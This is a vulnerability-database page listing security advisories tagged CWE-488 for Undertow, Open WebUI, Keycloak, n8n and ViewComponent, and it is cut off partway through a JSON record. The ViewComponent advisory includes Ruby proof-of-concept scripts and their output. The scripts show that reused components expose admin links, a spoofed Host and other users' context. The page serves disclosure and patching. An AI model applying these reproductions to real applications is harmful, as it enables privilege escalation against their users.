GCVE Workshop - 22 September 2026 (14:00-18:00), Luxembourg Before The Vulnopticon Conference - Registration
Common Weakness Enumeration

CWE-488

Allowed

Exposure of Data Element to Wrong Session

Abstraction: Base · Status: Draft

The product does not sufficiently enforce boundaries between the states of different sessions, causing data to be provided to, or used by, the wrong session.

66 vulnerabilities reference this CWE, most recent first.

GHSA-9442-GM4V-R222

Vulnerability from github – Published: 2024-06-20 15:31 – Updated: 2026-02-27 21:38
VLAI
Summary
Undertow's url-encoded request path information can be broken on ajp-listener
Details

A vulnerability was found in Undertow, where URL-encoded request paths can be mishandled during concurrent requests on the AJP listener. This issue arises because the same buffer is used to decode the paths for multiple requests simultaneously, leading to incorrect path information being processed. As a result, the server may attempt to access the wrong path, causing errors such as "404 Not Found" or other application failures. This flaw can potentially lead to a denial of service, as legitimate resources become inaccessible due to the path mix-up.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "io.undertow:undertow-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.3.0.Alpha1"
            },
            {
              "fixed": "2.3.14.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "io.undertow:undertow-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.2.33.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-6162"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-488"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-06-20T16:22:33Z",
    "nvd_published_at": "2024-06-20T15:15:50Z",
    "severity": "HIGH"
  },
  "details": "A vulnerability was found in Undertow, where URL-encoded request paths can be mishandled during concurrent requests on the AJP listener. This issue arises because the same buffer is used to decode the paths for multiple requests simultaneously, leading to incorrect path information being processed. As a result, the server may attempt to access the wrong path, causing errors such as \"404 Not Found\" or other application failures. This flaw can potentially lead to a denial of service, as legitimate resources become inaccessible due to the path mix-up.",
  "id": "GHSA-9442-gm4v-r222",
  "modified": "2026-02-27T21:38:27Z",
  "published": "2024-06-20T15:31:19Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-6162"
    },
    {
      "type": "WEB",
      "url": "https://github.com/undertow-io/undertow/pull/1612"
    },
    {
      "type": "WEB",
      "url": "https://github.com/undertow-io/undertow/commit/90f202ada89b6d9883beed0f1fe10c99d470d9a8"
    },
    {
      "type": "WEB",
      "url": "https://github.com/undertow-io/undertow/commit/a28ac53076e2fa532266d25e0c0b1a01d0e9d2cf"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2024:1194"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2024:4386"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2024:4884"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/security/cve/CVE-2024-6162"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2293069"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/undertow-io/undertow"
    },
    {
      "type": "WEB",
      "url": "https://github.com/undertow-io/undertow/releases/tag/2.2.33.Final"
    },
    {
      "type": "WEB",
      "url": "https://github.com/undertow-io/undertow/releases/tag/2.3.14.Final"
    },
    {
      "type": "WEB",
      "url": "https://issues.redhat.com/browse/JBEAP-26268"
    },
    {
      "type": "WEB",
      "url": "https://issues.redhat.com/browse/UNDERTOW-2334"
    },
    {
      "type": "WEB",
      "url": "https://security.netapp.com/advisory/ntap-20241129-0009"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Undertow\u0027s url-encoded request path information can be broken on ajp-listener"
}

GHSA-947M-JHCV-94RP

Vulnerability from github – Published: 2024-10-10 09:30 – Updated: 2024-10-10 09:30
VLAI
Details

In version v0.3.8 of open-webui/open-webui, a vulnerability exists where a token is returned when a user with a pending role logs in. This allows the user to perform actions without admin confirmation, bypassing the intended approval process.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-7049"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-488"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-10-10T08:15:03Z",
    "severity": "MODERATE"
  },
  "details": "In version v0.3.8 of open-webui/open-webui, a vulnerability exists where a token is returned when a user with a pending role logs in. This allows the user to perform actions without admin confirmation, bypassing the intended approval process.",
  "id": "GHSA-947m-jhcv-94rp",
  "modified": "2024-10-10T09:30:35Z",
  "published": "2024-10-10T09:30:35Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-7049"
    },
    {
      "type": "WEB",
      "url": "https://huntr.com/bounties/ee9e3532-8ef1-4599-bb59-b8e2ba43a1fc"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-97G8-XFVW-Q4HG

Vulnerability from github – Published: 2022-12-13 19:44 – Updated: 2023-09-20 22:30
VLAI
Summary
Keycloak vulnerable to session takeover with OIDC offline refreshtokens
Details

An issue was discovered in Keycloak when using a client with the offline_access scope. Reuse of session ids across root and user authentication sessions and a lack of root session validation enabled attackers to resolve a user session attached to a different previously authenticated user.

This issue most affects users of shared computers. Suppose a user logs out of their account (without clearing their cookies) in a mobile app or similar client that includes the offline_access scope, and another user authenticates to the application. In that case, it will share the same root session id, and when utilizing the refresh token, they will be issued a token for the original user.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 19.0.2"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "org.keycloak:keycloak-parent"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "20.0.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2022-3916"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287",
      "CWE-304",
      "CWE-488",
      "CWE-613"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2022-12-13T19:44:33Z",
    "nvd_published_at": "2023-09-20T15:15:11Z",
    "severity": "MODERATE"
  },
  "details": "An issue was discovered in Keycloak when using a client with the `offline_access` scope. Reuse of session ids across root and user authentication sessions and a lack of root session validation enabled attackers to resolve a user session attached to a different previously authenticated user.\n\nThis issue most affects users of shared computers. Suppose a user logs out of their account (without clearing their cookies) in a mobile app or similar client that includes the `offline_access` scope, and another user authenticates to the application. In that case, it will share the same root session id, and when utilizing the refresh token, they will be issued a token for the original user.",
  "id": "GHSA-97g8-xfvw-q4hg",
  "modified": "2023-09-20T22:30:19Z",
  "published": "2022-12-13T19:44:33Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/keycloak/keycloak/security/advisories/GHSA-97g8-xfvw-q4hg"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-3916"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2022:8961"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2022:8962"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2022:8963"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2022:8964"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2022:8965"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2023:1043"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2023:1044"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2023:1045"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2023:1047"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2023:1049"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/security/cve/CVE-2022-3916"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2141404"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/keycloak/keycloak"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Keycloak vulnerable to session takeover with OIDC offline refreshtokens"
}

GHSA-9C38-2MCM-Q7F7

Vulnerability from github – Published: 2026-06-16 19:01 – Updated: 2026-07-20 13:39
VLAI
Summary
n8n: Merge Node SQL Mode Prototype Pollution
Details

Impact

An authenticated user with permission to create or modify workflows could pollute the sandbox used by the Merge node's SQL Query mode. Because the sandbox context was cached and reused across all workflow executions on the instance, prototype mutations introduced by one user's workflow persist into subsequent Merge SQL executions belonging to other users or projects. This allowed a low-privileged attacker to intercept workflow data processed by other users on the same instance.

This issue only affects multi-user n8n instances where more than one user has permission to create and execute workflows containing the Merge node in SQL Query mode.

Patches

The issue has been fixed in n8n versions 2.25.7, and 2.26.2. Users should upgrade to one of these versions or later to remediate the vulnerability.

Workarounds

If upgrading is not immediately possible, administrators should consider the following temporary mitigations: - Limit workflow creation and editing permissions to fully trusted users only. - Disable the Merge node by adding n8n-nodes-base.merge to the NODES_EXCLUDE environment variable.

These workarounds do not fully remediate the risk and should only be used as short-term mitigation measures.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "n8n"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.26.0"
            },
            {
              "fixed": "2.26.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "n8n"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.25.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-54311"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-488"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-16T19:01:16Z",
    "nvd_published_at": "2026-06-23T16:17:02Z",
    "severity": "MODERATE"
  },
  "details": "## Impact\nAn authenticated user with permission to create or modify workflows could pollute the sandbox used by the Merge node\u0027s SQL Query mode. Because the sandbox context was cached and reused across all workflow executions on the instance, prototype mutations introduced by one user\u0027s workflow persist into subsequent Merge SQL executions belonging to other users or projects. This allowed a low-privileged attacker to intercept workflow data processed by other users on the same instance.\n\nThis issue only affects multi-user n8n instances where more than one user has permission to create and execute workflows containing the Merge node in SQL Query mode.\n\n## Patches\nThe issue has been fixed in n8n versions 2.25.7, and 2.26.2. Users should upgrade to one of these versions or later to remediate the vulnerability.\n\n## Workarounds\nIf upgrading is not immediately possible, administrators should consider the following temporary mitigations:\n- Limit workflow creation and editing permissions to fully trusted users only.\n- Disable the Merge node by adding `n8n-nodes-base.merge` to the `NODES_EXCLUDE` environment variable.\n\nThese workarounds do not fully remediate the risk and should only be used as short-term mitigation measures.",
  "id": "GHSA-9c38-2mcm-q7f7",
  "modified": "2026-07-20T13:39:32Z",
  "published": "2026-06-16T19:01:16Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/n8n-io/n8n/security/advisories/GHSA-9c38-2mcm-q7f7"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-54311"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/n8n-io/n8n"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:H/AT:P/PR:L/UI:N/VC:H/VI:N/VA:N/SC:L/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "n8n: Merge Node SQL Mode Prototype Pollution"
}

GHSA-9H85-G7W3-RH49

Vulnerability from github – Published: 2026-07-15 22:51 – Updated: 2026-07-15 22:51
VLAI
Summary
ViewComponent: Reused Component Instances Retain Stale Render Context
Details

Reused Component Instances Retain Stale Render Context

Summary

ViewComponent::Base instances retain multiple render-scoped objects across calls to render_in. If the same component, collection, or spacer component instance is reused across requests, users, tenants, or threads, later renders can use stale helpers, controller, request, view_flow, format/variant details, and slot child context from an earlier render.

This can cause authorization-aware components to render privileged UI for a lower-privileged user, generate links using a stale Host header, leak slot/helper state, and mix request context under concurrent rendering.

Severity

The PoC demonstrates cross-user authorization impact in a realistic downstream application pattern. If the receiving program accepts downstream cross-user authorization impact as a scope-changing impact for a framework vulnerability, an alternative High score can be assigned:

Alternative CVSS: 8.2 Alternative vector: CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:N

Affected Code

Validated against:

  • Repository commit: eea79445
  • Ruby: 3.4.9

Relevant locations:

  • lib/view_component/base.rb
  • render_in
  • controller
  • helpers
  • __vc_request
  • lib/view_component/slot.rb
  • Slot#to_s
  • lib/view_component/slotable.rb
  • slot storage in @__vc_set_slots
  • lib/view_component/collection.rb
  • child component memoization and spacer rendering

Key retained state:

@view_context = view_context
self.__vc_original_view_context ||= view_context
@lookup_context ||= view_context.lookup_context
@view_flow ||= view_context.view_flow
@__vc_requested_details ||= @lookup_context.vc_requested_details
@__vc_controller ||= view_context.controller
@__vc_helpers ||= __vc_original_view_context || controller.view_context
@__vc_request ||= controller.request if controller.respond_to?(:request)

Slot children also inherit the parent original view context:

@__vc_component_instance.__vc_original_view_context = @parent.__vc_original_view_context

Collections memoize child component instances:

return @components if defined? @components

Root Cause

Component instances are mutable render objects. render_in updates some per-render fields, but many request-scoped values are memoized using ||= or stored for later slot/collection rendering.

There is no runtime guard preventing a component instance from being rendered multiple times under different view contexts, and there is no full reset of render-scoped state at the start of each render.

Maintainer discussion in prior PRs notes that component instances should not be shared between renders, but the current runtime does not enforce this invariant.

Proof of Concept

The following PoC demonstrates four independent effects:

  • stale authorization gate
  • stale Host/request data in generated absolute URLs
  • stale slot child context
  • cross-thread context mixing

Run from the repository root:

$LOAD_PATH.unshift File.expand_path("lib", Dir.pwd)
require "action_controller/railtie"
require "rack/mock"
require "view_component/base"

class ReusePocController < ActionController::Base
  helper_method :current_user, :admin?
  attr_accessor :current_user, :role
  def admin? = role == :admin
end

routes = ActionDispatch::Routing::RouteSet.new
routes.draw { get "/accounts/:id", to: "accounts#show" }
ReusePocController.include routes.url_helpers

class AdminPanelComponent < ViewComponent::Base
  def render? = helpers.admin?

  def call
    href = helpers.url_for(controller: "accounts", action: "show", id: 42, only_path: false)
    "ADMIN user=#{helpers.current_user};host=#{request.host};href=#{href}".html_safe
  end
end

class UrlOnlyComponent < ViewComponent::Base
  def call
    href = helpers.url_for(controller: "accounts", action: "show", id: 42, only_path: false)
    "user=#{helpers.current_user};host=#{request.host};href=#{href}".html_safe
  end
end

class SlotChildComponent < ViewComponent::Base
  def call = "child_user=#{helpers.current_user};child_path=#{request.path}".html_safe
end

class SlotParentComponent < ViewComponent::Base
  renders_one :child, SlotChildComponent
  def call = "parent_user=#{helpers.current_user};parent_path=#{request.path};".html_safe + child.to_s
end

class RaceComponent < ViewComponent::Base
  def before_render = sleep 0.05
  def call = "#{helpers.current_user}@#{request.path}".html_safe
end

def vc(user:, role:, path:, host: "app.example")
  c = ReusePocController.new
  c.current_user = user
  c.role = role
  c.set_request!(ActionDispatch::Request.new(Rack::MockRequest.env_for(path, "HTTP_HOST" => host)))
  c.set_response!(ActionDispatch::Response.new)
  c.view_context
end

admin_vc = vc(user: "alice", role: :admin, path: "/admin", host: "admin.example")
guest_vc = vc(user: "bob", role: :guest, path: "/guest", host: "app.example")

panel = AdminPanelComponent.new
puts "auth_admin_first=#{panel.render_in(admin_vc)}"
puts "auth_guest_reused=#{panel.render_in(guest_vc)}"
puts "auth_guest_fresh=#{AdminPanelComponent.new.render_in(guest_vc).inspect}"

url = UrlOnlyComponent.new
puts "host_attacker_prime=#{url.render_in(vc(user: "attacker", role: :guest, path: "/prime", host: "evil.example"))}"
puts "host_victim_reused=#{url.render_in(vc(user: "victim", role: :guest, path: "/account", host: "app.example"))}"
puts "host_victim_fresh=#{UrlOnlyComponent.new.render_in(vc(user: "victim", role: :guest, path: "/account", host: "app.example"))}"

parent = SlotParentComponent.new
puts "slot_admin_first=#{parent.render_in(admin_vc) { |p| p.with_child }}"
puts "slot_guest_reused=#{parent.render_in(guest_vc) { |p| p.with_child }}"
puts "slot_guest_fresh=#{SlotParentComponent.new.render_in(guest_vc) { |p| p.with_child }}"

race = RaceComponent.new
q = Queue.new
t1 = Thread.new { q << [:admin, race.render_in(vc(user: "admin", role: :admin, path: "/admin"))] }
t2 = Thread.new { q << [:guest, race.render_in(vc(user: "guest", role: :guest, path: "/guest"))] }
t1.join
t2.join
results = 2.times.map { q.pop }.to_h
puts "race_admin_thread=#{results[:admin]}"
puts "race_guest_thread=#{results[:guest]}"

Observed output:

auth_admin_first=ADMIN user=alice;host=admin.example;href=http://admin.example/accounts/42
auth_guest_reused=ADMIN user=alice;host=admin.example;href=http://admin.example/accounts/42
auth_guest_fresh=""

host_attacker_prime=user=attacker;host=evil.example;href=http://evil.example/accounts/42
host_victim_reused=user=attacker;host=evil.example;href=http://evil.example/accounts/42
host_victim_fresh=user=victim;host=app.example;href=http://app.example/accounts/42

slot_admin_first=parent_user=alice;parent_path=/admin;child_user=alice;child_path=/admin
slot_guest_reused=parent_user=alice;parent_path=/admin;child_user=alice;child_path=/guest
slot_guest_fresh=parent_user=bob;parent_path=/guest;child_user=bob;child_path=/guest

race_admin_thread=admin@/guest
race_guest_thread=admin@/guest

Authorization-Impact PoC

The following PoC models a realistic downstream application pattern: a shared component registry caches component objects instead of caching component classes, factories, or rendered strings. An admin request primes the cached toolbar component. A later guest request renders the same cached object.

The component uses render? as an authorization-aware visibility gate and emits a representative privileged action link.

$LOAD_PATH.unshift File.expand_path("lib", Dir.pwd)
require "action_controller/railtie"
require "rack/mock"
require "view_component/base"

module SharedComponentRegistry
  def self.admin_toolbar
    @admin_toolbar ||= AdminToolbarComponent.new
  end

  def self.reset!
    remove_instance_variable(:@admin_toolbar) if defined?(@admin_toolbar)
  end
end

User = Struct.new(:id, :role, keyword_init: true) do
  def admin? = role == :admin
end

class AppController < ActionController::Base
  helper_method :current_user, :admin?
  attr_accessor :current_user

  def admin?
    current_user&.admin?
  end
end

routes = ActionDispatch::Routing::RouteSet.new
routes.draw do
  get "/admin/users/:id/impersonate", to: "admin/users#impersonate", as: :impersonate_admin_user
end
AppController.include routes.url_helpers

class AdminToolbarComponent < ViewComponent::Base
  def render?
    helpers.admin?
  end

  def call
    helpers.link_to(
      "Impersonate user 42",
      helpers.impersonate_admin_user_url(42, host: request.host),
      data: { turbo_method: :post }
    )
  end
end

class DashboardController < AppController
  def render_dashboard_with_shared_component
    render_to_string(inline: '<main><h1>Dashboard</h1><%= render SharedComponentRegistry.admin_toolbar %></main>')
  end

  def render_dashboard_with_fresh_component
    render_to_string(inline: '<main><h1>Dashboard</h1><%= render AdminToolbarComponent.new %></main>')
  end
end

def controller_for(user:, host:, path: "/dashboard")
  c = DashboardController.new
  c.current_user = user
  c.set_request!(ActionDispatch::Request.new(Rack::MockRequest.env_for(path, "HTTP_HOST" => host)))
  c.set_response!(ActionDispatch::Response.new)
  c
end

SharedComponentRegistry.reset!
admin = User.new(id: 1, role: :admin)
guest = User.new(id: 2, role: :guest)

admin_response = controller_for(user: admin, host: "admin.example").render_dashboard_with_shared_component
guest_reused_response = controller_for(user: guest, host: "app.example").render_dashboard_with_shared_component
guest_fresh_response = controller_for(user: guest, host: "app.example").render_dashboard_with_fresh_component

puts "admin_shared_contains_admin_link=#{admin_response.include?('/admin/users/42/impersonate')}"
puts "guest_reused_contains_admin_link=#{guest_reused_response.include?('/admin/users/42/impersonate')}"
puts "guest_fresh_contains_admin_link=#{guest_fresh_response.include?('/admin/users/42/impersonate')}"
puts "guest_reused_contains_admin_host=#{guest_reused_response.include?('http://admin.example/admin/users/42/impersonate')}"
puts "guest_reused_response=#{guest_reused_response.gsub(/\s+/, ' ').strip}"
puts "guest_fresh_response=#{guest_fresh_response.gsub(/\s+/, ' ').strip.inspect}"

Observed output:

admin_shared_contains_admin_link=true
guest_reused_contains_admin_link=true
guest_fresh_contains_admin_link=false
guest_reused_contains_admin_host=true
guest_reused_response=<main><h1>Dashboard</h1><a data-turbo-method="post" href="http://admin.example/admin/users/42/impersonate">Impersonate user 42</a></main>
guest_fresh_response="<main><h1>Dashboard</h1></main>"

This confirms a cross-user authorization impact in a realistic pattern: a guest receives privileged UI that a fresh component correctly suppresses. It also confirms stale request and Host context in the generated privileged URL.

Exploit Scenario

A downstream app stores component instances in a constant, singleton service, memoized helper, cache object, or shared collection builder to avoid allocation. An attacker or lower-privileged user later triggers rendering of that same object.

Potential real-world examples:

  • A navigation/sidebar component checks helpers.admin? in render?.
  • A tenant switcher uses request.host or current_user.account.
  • A component emits absolute URLs or signed action links.
  • A table uses slot child components that rely on helper/request state.
  • A global UI registry stores instantiated spacer or child components.

In these cases, a component first rendered under an admin or attacker-controlled request can affect later renders for other users.

Impact

Confirmed impact classes:

  • stale privileged UI rendering
  • stale user identity through helpers
  • stale Host/request data in generated absolute URLs
  • slot child context inheritance
  • cross-thread context corruption
  • stale format/variant template selection
  • stale view_flow / content_for writes
  • collection and spacer component context leakage

This can chain into privilege escalation if an application relies on UI visibility as an authorization boundary. It can also leak signed links, tenant-specific URLs, admin actions, or user-specific data.

Preconditions

  • The same component, collection, slot, or spacer component instance is reused across render contexts.
  • The component reads request-scoped or user-scoped APIs such as helpers, controller, request, URL helpers, render?, before_render, slots, variants, formats, or content_for.
  • Higher impact when the shared object crosses users, tenants, roles, or threads.

Normal per-request usage such as render(MyComponent.new(...)) is not affected.

Chaining Potential

This issue can chain with:

  • UI-only authorization checks
  • signed admin links embedded in components
  • Host header poisoning
  • multi-tenant routing based on host/subdomain
  • shared component registries
  • fragment/component caching patterns that cache objects rather than rendered strings
  • concurrent Rails servers such as Puma

The framework alone does not directly prove account takeover, but downstream applications can reach high impact if stale component output exposes privileged action links or bypasses server-side authorization assumptions.

Remediation

The safest fix is to make component and collection instances one-shot renderables.

Recommended options:

  1. Add a runtime guard in render_in that raises or warns when the same component instance is rendered again with a different view_context.
  2. Reset render-scoped ivars at the beginning of every render, including:
  3. __vc_original_view_context
  4. @lookup_context
  5. @view_flow
  6. @__vc_requested_details
  7. @__vc_controller
  8. @__vc_helpers
  9. @__vc_request
  10. Rebuild ViewComponent::Collection child component instances per render or document/enforce collections as one-shot.
  11. Avoid accepting a reusable instantiated spacer_component, or reset/clone it before rendering.
  12. Add thread-safety tests for concurrent rendering of a shared instance.
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "RubyGems",
        "name": "view_component"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.0.0"
            },
            {
              "fixed": "4.12.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-54497"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-362",
      "CWE-488",
      "CWE-668"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-15T22:51:33Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "# Reused Component Instances Retain Stale Render Context\n\n## Summary\n\n`ViewComponent::Base` instances retain multiple render-scoped objects across calls to `render_in`. If the same component, collection, or spacer component instance is reused across requests, users, tenants, or threads, later renders can use stale `helpers`, `controller`, `request`, `view_flow`, format/variant details, and slot child context from an earlier render.\n\nThis can cause authorization-aware components to render privileged UI for a lower-privileged user, generate links using a stale Host header, leak slot/helper state, and mix request context under concurrent rendering.\n\n## Severity\n\nThe PoC demonstrates cross-user authorization impact in a realistic downstream application pattern.\nIf the receiving program accepts downstream cross-user authorization impact as a scope-changing impact for a framework vulnerability, an alternative High score can be assigned:\n\nAlternative CVSS: 8.2\nAlternative vector: `CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:N`\n\n## Affected Code\n\nValidated against:\n\n- Repository commit: `eea79445`\n- Ruby: `3.4.9`\n\nRelevant locations:\n\n- `lib/view_component/base.rb`\n  - `render_in`\n  - `controller`\n  - `helpers`\n  - `__vc_request`\n- `lib/view_component/slot.rb`\n  - `Slot#to_s`\n- `lib/view_component/slotable.rb`\n  - slot storage in `@__vc_set_slots`\n- `lib/view_component/collection.rb`\n  - child component memoization and spacer rendering\n\nKey retained state:\n\n```ruby\n@view_context = view_context\nself.__vc_original_view_context ||= view_context\n@lookup_context ||= view_context.lookup_context\n@view_flow ||= view_context.view_flow\n@__vc_requested_details ||= @lookup_context.vc_requested_details\n```\n\n```ruby\n@__vc_controller ||= view_context.controller\n@__vc_helpers ||= __vc_original_view_context || controller.view_context\n@__vc_request ||= controller.request if controller.respond_to?(:request)\n```\n\nSlot children also inherit the parent original view context:\n\n```ruby\n@__vc_component_instance.__vc_original_view_context = @parent.__vc_original_view_context\n```\n\nCollections memoize child component instances:\n\n```ruby\nreturn @components if defined? @components\n```\n\n## Root Cause\n\nComponent instances are mutable render objects. `render_in` updates some per-render fields, but many request-scoped values are memoized using `||=` or stored for later slot/collection rendering.\n\nThere is no runtime guard preventing a component instance from being rendered multiple times under different view contexts, and there is no full reset of render-scoped state at the start of each render.\n\nMaintainer discussion in prior PRs notes that component instances should not be shared between renders, but the current runtime does not enforce this invariant.\n\n## Proof of Concept\n\nThe following PoC demonstrates four independent effects:\n\n- stale authorization gate\n- stale Host/request data in generated absolute URLs\n- stale slot child context\n- cross-thread context mixing\n\nRun from the repository root:\n\n```ruby\n$LOAD_PATH.unshift File.expand_path(\"lib\", Dir.pwd)\nrequire \"action_controller/railtie\"\nrequire \"rack/mock\"\nrequire \"view_component/base\"\n\nclass ReusePocController \u003c ActionController::Base\n  helper_method :current_user, :admin?\n  attr_accessor :current_user, :role\n  def admin? = role == :admin\nend\n\nroutes = ActionDispatch::Routing::RouteSet.new\nroutes.draw { get \"/accounts/:id\", to: \"accounts#show\" }\nReusePocController.include routes.url_helpers\n\nclass AdminPanelComponent \u003c ViewComponent::Base\n  def render? = helpers.admin?\n\n  def call\n    href = helpers.url_for(controller: \"accounts\", action: \"show\", id: 42, only_path: false)\n    \"ADMIN user=#{helpers.current_user};host=#{request.host};href=#{href}\".html_safe\n  end\nend\n\nclass UrlOnlyComponent \u003c ViewComponent::Base\n  def call\n    href = helpers.url_for(controller: \"accounts\", action: \"show\", id: 42, only_path: false)\n    \"user=#{helpers.current_user};host=#{request.host};href=#{href}\".html_safe\n  end\nend\n\nclass SlotChildComponent \u003c ViewComponent::Base\n  def call = \"child_user=#{helpers.current_user};child_path=#{request.path}\".html_safe\nend\n\nclass SlotParentComponent \u003c ViewComponent::Base\n  renders_one :child, SlotChildComponent\n  def call = \"parent_user=#{helpers.current_user};parent_path=#{request.path};\".html_safe + child.to_s\nend\n\nclass RaceComponent \u003c ViewComponent::Base\n  def before_render = sleep 0.05\n  def call = \"#{helpers.current_user}@#{request.path}\".html_safe\nend\n\ndef vc(user:, role:, path:, host: \"app.example\")\n  c = ReusePocController.new\n  c.current_user = user\n  c.role = role\n  c.set_request!(ActionDispatch::Request.new(Rack::MockRequest.env_for(path, \"HTTP_HOST\" =\u003e host)))\n  c.set_response!(ActionDispatch::Response.new)\n  c.view_context\nend\n\nadmin_vc = vc(user: \"alice\", role: :admin, path: \"/admin\", host: \"admin.example\")\nguest_vc = vc(user: \"bob\", role: :guest, path: \"/guest\", host: \"app.example\")\n\npanel = AdminPanelComponent.new\nputs \"auth_admin_first=#{panel.render_in(admin_vc)}\"\nputs \"auth_guest_reused=#{panel.render_in(guest_vc)}\"\nputs \"auth_guest_fresh=#{AdminPanelComponent.new.render_in(guest_vc).inspect}\"\n\nurl = UrlOnlyComponent.new\nputs \"host_attacker_prime=#{url.render_in(vc(user: \"attacker\", role: :guest, path: \"/prime\", host: \"evil.example\"))}\"\nputs \"host_victim_reused=#{url.render_in(vc(user: \"victim\", role: :guest, path: \"/account\", host: \"app.example\"))}\"\nputs \"host_victim_fresh=#{UrlOnlyComponent.new.render_in(vc(user: \"victim\", role: :guest, path: \"/account\", host: \"app.example\"))}\"\n\nparent = SlotParentComponent.new\nputs \"slot_admin_first=#{parent.render_in(admin_vc) { |p| p.with_child }}\"\nputs \"slot_guest_reused=#{parent.render_in(guest_vc) { |p| p.with_child }}\"\nputs \"slot_guest_fresh=#{SlotParentComponent.new.render_in(guest_vc) { |p| p.with_child }}\"\n\nrace = RaceComponent.new\nq = Queue.new\nt1 = Thread.new { q \u003c\u003c [:admin, race.render_in(vc(user: \"admin\", role: :admin, path: \"/admin\"))] }\nt2 = Thread.new { q \u003c\u003c [:guest, race.render_in(vc(user: \"guest\", role: :guest, path: \"/guest\"))] }\nt1.join\nt2.join\nresults = 2.times.map { q.pop }.to_h\nputs \"race_admin_thread=#{results[:admin]}\"\nputs \"race_guest_thread=#{results[:guest]}\"\n```\n\nObserved 